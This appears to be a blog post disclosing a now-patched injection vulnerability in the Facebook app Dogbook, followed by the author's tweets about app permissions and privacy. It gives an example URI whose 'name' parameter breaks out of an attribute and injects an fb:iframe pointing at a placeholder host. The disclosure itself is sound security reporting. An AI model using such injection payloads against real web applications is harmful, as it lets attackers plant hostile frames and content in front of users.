FAXX Hack: Dogbook

Current Monthly Active Users: 711,503

Current Rank on Application Leaderboard: 159

Application Developer: Poolhouse

Responsiveness: I received no communication from the developers, but Facebook did. The hole was patched about a week after notification.

Vulnerability Status: Patched

Example URI: http://apps.facebook.com/dogbook/search/?name=%22%2F%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Feviluri%2F%22%3E

I give Jotly an A+... http://t.co/isk2GHTL "Your life is exciting and worth sharing... Everyone cares about everything you do."
about 45 minutes ago from web
"It's not 'who you share with,' it's 'who you share as'..." Chris Poole on identity: http://t.co/MfxrYppo (via @benadida)
about 4 hours ago from web
New favorite site: http://t.co/q2yl2MmH Free commercial-use fonts that are actually good quality. (Not an ad, I'm a font geek.) HT @LeaVerou
04:01:09 PM October 17, 2011 from web
Also on that movie ARG: no sign of a privacy policy on permissions request, app description, or app page itself. #nothanks
08:32:05 PM October 13, 2011 from web
Tried movie ARG via FB; perms: email, posting, offline access, friend lists, bday, city, photos, & friends' bday, family, relationship, city
08:31:32 PM October 13, 2011 from web